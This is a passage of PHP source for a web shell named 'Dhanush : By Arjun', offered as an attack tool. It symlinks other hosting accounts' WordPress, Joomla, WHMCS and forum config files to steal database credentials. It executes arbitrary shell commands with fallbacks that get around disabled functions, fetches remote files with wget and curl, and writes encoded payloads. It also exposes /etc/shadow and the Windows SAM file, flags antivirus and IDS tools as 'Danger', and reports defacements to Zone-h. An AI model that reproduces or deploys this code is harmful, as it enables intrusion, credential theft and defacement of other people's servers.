symlink(\'/home6/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~ipb7.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
}
function randomt()
{
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = \'\' ;
while ($i <= 7)
{
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
// Zone-h Poster
function ZoneH($url, $hacker, $hackmode,$reson, $site )
{
$k = curl_init();
curl_setopt($k, CURLOPT_URL, $url);
curl_setopt($k,CURLOPT_POST,true);
curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
$kubra = curl_exec($k);
curl_close($k);
return $kubra;
}
// Database functions
function listdatabase()
{
$self=$_SERVER["PHP_SELF"];
?>
<br>
<form>
<input type="hidden" name="action" value="createDB">
<table>
<tr>
<td><input type="text" class="box" name="dbname"></td><td><input type="submit" value=" Create Database " name="createmydb" class="but"></td>
</tr>
</table>
</form>
<br>
<?php
$mysqlHandle = mysql_connect ($_COOKIE[\'dbserver\'], $_COOKIE[\'dbuser\'], $_COOKIE[\'dbpass\']);
$result = mysql_query("SHOW DATABASE");
echo "<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>
";
$pDB = mysql_list_dbs( $mysqlHandle );
$num = mysql_num_rows( $pDB );
for( $i = 0; $i < $num; $i++ )
{
$dbname = mysql_dbname( $pDB, $i );
mysql_select_db($dbname,$mysqlHandle);
$result = mysql_query("SHOW TABLES");
$num_of_tables = mysql_num_rows($result);
echo "<tr>
";
echo "<td><a href=\'$self?action=listTables&dbname=$dbname\'><font color=red size=3>$dbname</font></a> ($num_of_tables)</td>
";
echo "<td><a href=\'$self?action=listTables&dbname=$dbname\'>Tables</a></td>
";
echo "<td><a href=\'$self?action=dropDB&dbname=$dbname&executequery\' onClick=\"return confirm(\'Drop Database \'$dbname\'?\')\">Drop</a></td>
";
echo "<td><a href=\'$self?action=dumpDB&dbname=$dbname\' onClick=\"return confirm(\'Dump Database \'$dbname\'?\')\">Dump</a></td>
";
echo "</tr>
";
}
echo "</table>
";
mysql_close($mysqlHandle);
}
function listtable()
{
$self=$_SERVER["PHP_SELF"];
$dbserver = $_COOKIE["dbserver"];
$dbuser = $_COOKIE["dbuser"];
$dbpass = $_COOKIE["dbpass"];
$dbname = $_GET[\'dbname\'];
echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font color=red size=3>[ Log Out ]</font> </a></div>";
?>
<br><br>
<form>
<input type="hidden" name="action" value="createtable">
<input type="hidden" name="dbname" value="<?php echo $_GET[\'dbname\'];?>">
<table>
<tr>
<td><input type="text" class="box" name="tablename"></td><td><input type="submit" value=" Create Table " name="createmydb" class="but"></td>
</tr>
</table>
<br>
<form>
<input type="hidden" value="<?php echo $_GET[\'dbname\']; ?>" name="dbname">
<input type="hidden" value="<?php echo $_GET[\'tablename\']; ?>" name="tablename">
<input type="hidden" value="executequery" name="action">
<table>
<tr>
<td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
</tr>
<tr>
<td><input type="submit" value="Execute" class="but"></td>
</tr>
</table>
</form>
<?php
$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$pTable = mysql_list_tables( $dbname );
if( $pTable == 0 ) {
$msg = mysql_error();
echo "<h3>Error : $msg</h3><p>
";
return;
}
$num = mysql_num_rows( $pTable );
echo "<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>
";
for( $i = 0; $i < $num; $i++ )
{
$tablename = mysql_tablename( $pTable, $i );
$result = mysql_query("select * from $tablename");
$num_rows = mysql_num_rows($result);
echo "<tr>
";
echo "<td>
";
echo "<a href=\'$self?action=viewdata&dbname=$dbname&tablename=$tablename\'><font color=red size=3>$tablename</font></a> ($num_rows)
";
echo "</td>
";
echo "<td>
";
echo "<a href=\'$self?action=viewSchema&dbname=$dbname&tablename=$tablename\'>Schema</a>
";
echo "</td>
";
echo "<td>
";
echo "<a href=\'$self?action=viewdata&dbname=$dbname&tablename=$tablename\'>Data</a>
";
echo "</td>
";
echo "<td>
";
echo "<a href=\'$self?action=empty&dbname=$dbname&tablename=$tablename\'>Empty</a>
";
echo "</td>
";
echo "<td>
";
echo "<a href=\'$self?action=dropTable&dbname=$dbname&tablename=$tablename\' onClick=\"return confirm(\'Drop Table \'$tablename\'?\')\">Drop</a>
";
echo "</td>
";
echo "</tr>
";
}
echo "</table></form>";
mysql_close($mysqlHandle);
echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font color=red size=3>[ Log Out ]</font> </a></div>";
}
function paramexe($n, $v)
{
$v = trim($v);
if($v)
{
echo \'<span><font color=red size=3>\' . $n . \': </font></span>\';
if(strpos($v, "
") === false)
echo \'<font color=red size=2>\' . $v . \'</font><br>\';
else
echo \'<pre class=ml1><font color=lime size=3>\' . $v . \'</font></pre>\';
}
}
$dir = getcwd();
if(isset($_GET[\'dir\']))
{
$dir = $_GET[\'dir\'];
}
function dis()
{
if(!ini_get(\'disable_functions\'))
{
echo "None";
}
else
{
echo @ini_get(\'disable_functions\');
}
}
function mycmdexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("
",$result);}
elseif (($result = "$cmd") !== FALSE) {}
elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}
function rrmdir($dir)
{
if (is_dir($dir)) // ensures that we actually have a directory
{
$objects = scandir($dir); // gets all files and folders inside
foreach ($objects as $object)
{
if ($object != \'.\' && $object != \'..\')
{
if (is_dir($dir . \'/\' . $object))
{
// if we find a directory, do a recursive call
rrmdir($dir . \'/\' . $object);
}
else
{
// if we find a file, simply delete it
unlink($dir . \'/\' . $object);
}
}
}
// the original directory is now empty, so delete it
rmdir($dir);
}
}
function godir($dir)
{
//echo $dir;
$zip = new ZipArchive();
$filename= basename($dir) . \'.zip\';
// open archive
if ($zip->open($filename, ZIPARCHIVE::CREATE) !== TRUE)
{
die ("Could not open archive");
}
if (is_dir($dir)) // ensures that we actually have a directory
{
$objects = scandir($dir); // gets all files and folders inside
foreach ($objects as $object)
{
if ($object != \'.\' && $object != \'..\')
{
if (is_dir($dir . \'\\' . $object))
{//echo $dir . \'/\' . $object;
// if we find a directory, do a recursive call
godir($dir . \'\\' . $object);
}
else
{
// if we find a file, simply add it
$zip->addFile($dir . \'\\' . $object) or die ("ERROR: Could not add file: $key");
}
}
}
// the original directory is now empty, so delete it
$zip->addFile($dir) or die ("ERROR: Could not add file: $key");
}
}
function which($pr)
{
$path = execmd("which $pr");
if(!empty($path))
return trim($path);
else
return trim($pr);
}
function cf($f,$t)
{
$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');
if($w)
{
@fwrite($w,gzinflate(base64_decode($t))) or @fputs($w,gzinflate(base64_decode($t))) or @file_put_contents($f,gzinflate(base64_decode($t)));
@fclose($w);
}
}
function remotedownload($cmd,$url)
{
$namafile = basename($url);
switch($cmd)
{
case \'wwget\':
execmd(which(\'wget\')." ".$url." -O ".$namafile);
break;
case \'wlynx\':
execmd(which(\'lynx\')." -source ".$url." > ".$namafile);
break;
case \'wfread\' :
execmd($wurl,$namafile);
break;
case \'wfetch\' :
execmd(which(\'fetch\')." -o ".$namafile." -p ".$url);
break;
case \'wlinks\' :
execmd(which(\'links\')." -source ".$url." > ".$namafile);
break;
case \'wget\' :
execmd(which(\'GET\')." ".$url." > ".$namafile);
break;
case \'wcurl\' :
execmd(which(\'curl\')." ".$url." -o ".$namafile);
break;
default:
break;
}
return $namafile;
}
function magicboom($text)
{
if (!get_magic_quotes_gpc())
return $text;
return stripslashes($text);
}
##################################
function execmd($cmd,$d_functions="None")
{
if($d_functions=="None")
{
$ret=passthru($cmd);
return $ret;
}
$funcs=array("shell_exec","exec","passthru","system","popen","proc_open");
$d_functions=str_replace(" ","",$d_functions);
$dis_funcs=explode(",",$d_functions);
foreach($funcs as $safe)
{
if(!in_array($safe,$dis_funcs))
{
if($safe=="exec")
{
$ret=@exec($cmd);
$ret=join("
",$ret);
return $ret;
}
elseif($safe=="system")
{
$ret=@system($cmd);
return $ret;
}
elseif($safe=="passthru")
{
$ret=@passthru($cmd);
return $ret;
}
elseif($safe=="shell_exec")
{
$ret=@shell_exec($cmd);
return $ret;
}
elseif($safe=="popen")
{
$ret=@popen("$cmd",\'r\');
if(is_resource($ret))
{
while(@!feof($ret))
$read.=@fgets($ret);
@pclose($ret);
return $read;
}
return -1;
}
elseif($safe="proc_open")
{
$cmdpipe=array(
0=>array(\'pipe\',\'r\'),
1=>array(\'pipe\',\'w\')
);
$resource=@proc_open($cmd,$cmdpipe,$pipes);
if(@is_resource($resource))
{
while(@!feof($pipes[1]))
$ret.=@fgets($pipes[1]);
@fclose($pipes[1]);
@proc_close($resource);
return $ret;
}
return -1;
}
}
}
return -1;
}
function getDisabledFunctions()
{
if(!ini_get(\'disable_functions\'))
{
return "None";
}
else
{
return @ini_get(\'disable_functions\');
}
}
function getFilePermissions($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = \'s\';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = \'l\';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = \'-\';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = \'b\';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = \'d\';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = \'c\';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = \'p\';
} else {
// Unknown
$info = \'u\';
}
// Owner
$info .= (($perms & 0x0100) ? \'r\' : \'-\');
$info .= (($perms & 0x0080) ? \'w\' : \'-\');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? \'s\' : \'x\' ) :
(($perms & 0x0800) ? \'S\' : \'-\'));
// Group
$info .= (($perms & 0x0020) ? \'r\' : \'-\');
$info .= (($perms & 0x0010) ? \'w\' : \'-\');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? \'s\' : \'x\' ) :
(($perms & 0x0400) ? \'S\' : \'-\'));
// World
$info .= (($perms & 0x0004) ? \'r\' : \'-\');
$info .= (($perms & 0x0002) ? \'w\' : \'-\');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? \'t\' : \'x\' ) :
(($perms & 0x0200) ? \'T\' : \'-\'));
return $info;
}
function yourip()
{
echo $_SERVER["REMOTE_ADDR"];
}
function phpver()
{
$pv=@phpversion();
echo $pv;
}
function magic_quote()
{
echo get_magic_quotes_gpc()?"<font color=\'lime\'>ON</font>":"<font color=\'red\'>OFF</font>";
}
function serverip()
{
echo getenv(\'SERVER_ADDR\');
}
function serverport()
{
echo $_SERVER[\'SERVER_PORT\'];
}
function safe()
{
global $sm;
return $sm?"ON :( :\'( (Most of the Features will Not Work!)":"OFF";
}
function serveradmin()
{
echo $_SERVER[\'SERVER_ADMIN\'];
}
function systeminfo()
{
echo php_uname();
}
function curlinfo()
{
echo function_exists(\'curl_version\')?("<font color=\'lime\'>Enabled</font>"):("<font color=\'red\'>Disabled</font>");
}
function oracleinfo()
{
echo function_exists(\'ocilogon\')?("<font color=\'lime\'>Enabled</font>"):("<font color=\'red\'>Disabled</font>");
}
function mysqlinfo()
{
echo function_exists(\'mysql_connect\')?("<font color=\'lime\'>Enabled</font>"):("<font color=\'red\'>Disabled</font>");
}
function mssqlinfo()
{
echo function_exists(\'mssql_connect\')?("<font color=\'lime\'>Enabled</font>"):("<font color=\'red\'>Disabled</font>");
}
function postgresqlinfo()
{
echo function_exists(\'pg_connect\')?("<font color=\'lime\'>Enabled</font>"):("<font color=\'red\'>Disabled</font>");
}
function softwareinfo()
{
echo getenv("SERVER_SOFTWARE");
}
function download()
{
$frd=$_GET[\'download\'];
$prd=explode("/",$frd);
for($i=0;$i<sizeof($prd);$i++)
{
$nfd=$prd[$i];
}
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".filesize($nfd));
header("Content-disposition: attachment; filename=\"".$nfd."\";");
readfile($nfd);
exit;
}
function HumanReadableFilesize($size)
{
$mod = 1024;
$units = explode(\' \',\'B KB MB GB TB PB\');
for ($i = 0; $size > $mod; $i++)
{
$size /= $mod;
}
return round($size, 2) . \' \' . $units[$i];
}
function showDrives()
{
global $self;
foreach(range(\'A\',\'Z\') as $drive)
{
if(is_dir($drive.\':\\'))
{
?>
<a class="dir" href=\'<?php echo $self ?>?dir=<?php echo $drive.":\"; ?>\'>
<?php echo $drive.":\" ?>
</a>
<?php
}
}
}
function diskSpace()
{
echo HumanReadableFilesize(disk_total_space("/"));
}
function freeSpace()
{
echo HumanReadableFilesize(disk_free_space("/"));
}
function thiscmd($p)
{
$path = myexe(\'which \' . $p);
if(!empty($path))
return $path;
return false;
}
function mysecinfo()
{
function myparam($n, $v)
{
$v = trim($v);
if($v)
{
echo \'<span><font color =red size=3>\' . $n . \': </font></span>\';
if(strpos($v, "
") === false)
echo \'<font color =lime size=3>\' . $v . \'</font><br>\';
else
echo \'<pre class=ml1><font color =lime size=3>\' . $v . \'</font></pre>\';
}
}
myparam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
if(function_exists(\'apache_get_modules\'))
myparam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));
myparam(\'Open base dir\', @ini_get(\'open_basedir\'));
myparam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
myparam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));
$temp=array();
if(function_exists(\'mysql_get_client_info\'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists(\'mssql_connect\'))
$temp[] = "MSSQL";
if(function_exists(\'pg_connect\'))
$temp[] = "PostgreSQL";
if(function_exists(\'oci_connect\'))
$temp[] = "Oracle";
myparam(\'Supported databases\', implode(\', \', $temp));
echo \'<br>\';
if($GLOBALS[\'os\'] == \'Linux\') {
myparam(\'Distro : \', myexe("cat /etc/*-release"));
myparam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'$self?passwd\'>[view]</a>":\'no\');
myparam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"shadow\")\'>[view]</a>":\'no\');
myparam(\'OS version\', @file_get_contents(\'/proc/version\'));
myparam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));
myparam(\'Where is Perl?\', myexe(\'whereis perl\'));
myparam(\'Where is Python?\', myexe(\'whereis python\'));
myparam(\'Where is gcc?\', myexe(\'whereis gcc\'));
myparam(\'Where is apache?\', myexe(\'whereis apache\'));
myparam(\'CPU?\', myexe(\'cat /proc/cpuinfo\'));
myparam(\'RAM\', myexe(\'free -m\'));
myparam(\'Mount options\', myexe(\'cat /etc/fstab\'));
myparam(\'User Limits\', myexe(\'ulimit -a\'));
if(!$GLOBALS[\'safe_mode\']) {
$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
$danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
echo \'<br>\';
$temp=array();
foreach ($userful as $item)
if(thiscmd($item))
$temp[] = $item;
myparam(\'Userful\', implode(\', \',$temp));
$temp=array();
foreach ($danger as $item)
if(thiscmd($item))
$temp[] = $item;
myparam(\'Danger\', implode(\', \',$temp));
$temp=array();
foreach ($downloaders as $item)
if(thiscmd($item))
$temp[] = $item;
myparam(\'Downloaders\', implode(\', \',$temp));
echo \'<br/>\';
myparam(\'HDD space\', myexe(\'df -h\'));
myparam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
}
} else {
echo "<font color=red size=3>Password File : </font><a href=".$_SERVER[\'PHP_SELF\']."?download=" . $_SERVER["WINDIR"]."\repair\sam><b><font color=lime size=3>Download password file</font></b></a><br>";
echo "<font color=red size=3>Config Files : </font><a href=".$_SERVER[\'PHP_SELF\']."?open=" . $_SERVER["WINDIR"]."\system32\drivers\etc\hosts><b><font color=lime size=3>[ Hosts ]</font></b></a> <a href=".$_SERVER[\'PHP_SELF\']."?open=" . $_SERVER["WINDIR"]."\system32\drivers\etc\networks><b><font color=lime size=3>[ Local Network Map ]</font></b></a> <a href=".$_SERVER[\'PHP_SELF\']."?open=" . $_SERVER["WINDIR"]."\system32\drivers\etc\lmhosts.sam><b><font color=lime size=3>[ lmhosts ]</font></b></a><br>";
$base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
echo "<font color=red size=3>Open Base Dir : </font><font color=lime size=3>" . $base . "</font><br>";
myparam(\'OS Version\',myexe(\'ver\'));
myparam(\'Account Settings\',myexe(\'net accounts\'));
myparam(\'User Accounts\',myexe(\'net user\'));
}
echo \'</div>\';
}
function myexe($in) {
$out = \'\';
if (function_exists(\'exec\')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists(\'passthru\')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists(\'system\')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists(\'shell_exec\')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function exec_all($command)
{
$output = \'\';
if(function_exists(\'exec\'))
{
exec($command,$output);
$output = join("
",$output);
}
else if(function_exists(\'shell_exec\'))
{
$output = shell_exec($command);
}
else if(function_exists(\'popen\'))
{
$handle = popen($command , "r"); // Open the command pipe for reading
if(is_resource($handle))
{
if(function_exists(\'fread\') && function_exists(\'feof\'))
{
while(!feof($handle))
{
$output .= fread($handle, 512);
}
}
else if(function_exists(\'fgets\') && function_exists(\'feof\'))
{
while(!feof($handle))
{
$output .= fgets($handle,512);
}
}
}
pclose($handle);
}
else if(function_exists(\'system\'))
{
ob_start(); //start output buffering
system($command);
$output = ob_get_contents(); // Get the ouput
ob_end_clean(); // Stop output buffering
}
else if(function_exists(\'passthru\'))
{
ob_start(); //start output buffering
passthru($command);
$output = ob_get_contents(); // Get the ouput
ob_end_clean(); // Stop output buffering
}
else if(function_exists(\'proc_open\'))
{
$descriptorspec = array(
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
);
$handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array \'pipes\'
if(is_resource($handle))
{
if(function_exists(\'fread\') && function_exists(\'feof\'))
{
while(!feof($pipes[1]))
{
$output .= fread($pipes[1], 512);
}
}
else if(function_exists(\'fgets\') && function_exists(\'feof\'))
{
while(!feof($pipes[1]))
{
$output .= fgets($pipes[1],512);
}
}
}
pclose($handle);
}
return(htmlspecialchars($output));
}
$basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"<font color=\'lime\'>ON</font>":"<font color=\'red\'>OFF</font>";
$etc_passwd=@is_readable("/etc/passwd")?"Yes":"No";
?>
<div align="center">
<a href="<?php $_SERVER[\'PHP_SELF\'];?>"><font size="6" color="#FF0000" style="text-decoration:none;" face="Times New Roman, Times, serif">Dhanush : By Arjun </font></a>
</div>
<hr color="#1B1B1B">
<table cellpadding="0" style="width:100%;">
<tr>
<td colspan="3" style="width:85%;">System Info : <font class="txt"><?php systeminfo(); ?></font></td>
<td style="width:15%;"><a href="<?php $_SERVER[\'PHP_SELF\'];?>?com" target="_blank"><font class="txt"><i>Software Info</i></font></a></td>
</tr>
<tr>
<td style="width:85%;" colspan="3">Software : <font class="txt"><?php softwareinfo(); ?></font></td>
<td style="width:15%;">Server Port : <font class="txt"><?php serverport(); ?></font></td>
</tr>
<?php if($os != \'Windows\' || shell_exec("id") != null) { ?><tr>
<td style="width:75%;" colspan="3">Uid : <font class="txt"><?php echo shell_exec("id"); ?></font></td>
</tr><?php } ?>
<tr>
<td style="width:20%;">Disk Space : <font class="txt"><?php diskSpace(); ?></font></td>
<td style="width:20%;">Free Space : <font class="txt"><?php freeSpace(); ?></font></td>
<td style="width:20%;">Server IP : <font class="txt"><a href="http://whois.domaintools.com/<?php serverip(); ?>"><?php serverip(); ?></a></font></td>
<td style="width:15%;">Your IP : <font class="txt"><a href="http://whois.domaintools.com/<?php yourip(); ?>"><?php yourip(); ?></a></font></td>
</tr>
<tr>
<?php if($os == \'Windows\'){ ?><td style="width:15%;">View Directories : <font class="txt"><?php echo showDrives();?></font></td><?php } ?>
<?php if($os != \'Windows\'){ ?><td colspan=2 style="width:20%;">Current Directory : <font color="#009900"><?php
$d = str_replace("\",$directorysperator,$dir);
if (substr($d,-1) != $directorysperator) {$d .= $directorysperator;}
$d = str_replace("\\","\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode($directorysperator,substr($d,0,-1));
$i = 0;
foreach($pd as $b)
{
$t = \'\';
$j = 0;
foreach ($e as $r)
{
$t.= $r.$directorysperator;
if ($j == $i) {break;}
$j++;
}
$href=\'dir=\'.$t;
echo \'<a href="\'.$self."?$href\"><b><font class=\"txt\">".htmlspecialchars($b).$directorysperator.\'</font></b></a>\';
$i++;
}
?></font></td><?php } ?>
<td style="width:20%;">Disable functions : <font class="txt"><?php echo getDisabledFunctions(); ?> </font></td>
<td>Safe Mode : <font class=txt><?php echo safe(); ?></font></td>
</tr>
</table>
<table border="3" style="border-color:#333333;" width="100%;" cellpadding="2">
<tr>
<td style="border:none;"><a href="<?php echo $self.\'?symlinkserver\'?>"><font class="mainmenu">[Symlink]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?forum\'?>"><font class=mainmenu>[Forum]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?secinfo\'?>"><font class=mainmenu>[Sec. Info]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?injector\'?>"><font class=mainmenu>[Code Inject]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?bypass\';?>"><font class=mainmenu>[Bypassers]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?fuzz\'?>"><font class=mainmenu>[Server Fuzzer]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?zone\'?>"><font class=mainmenu>[Zone-h]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?dos\';?>"><font class=mainmenu>[DoS]</font></a></td>
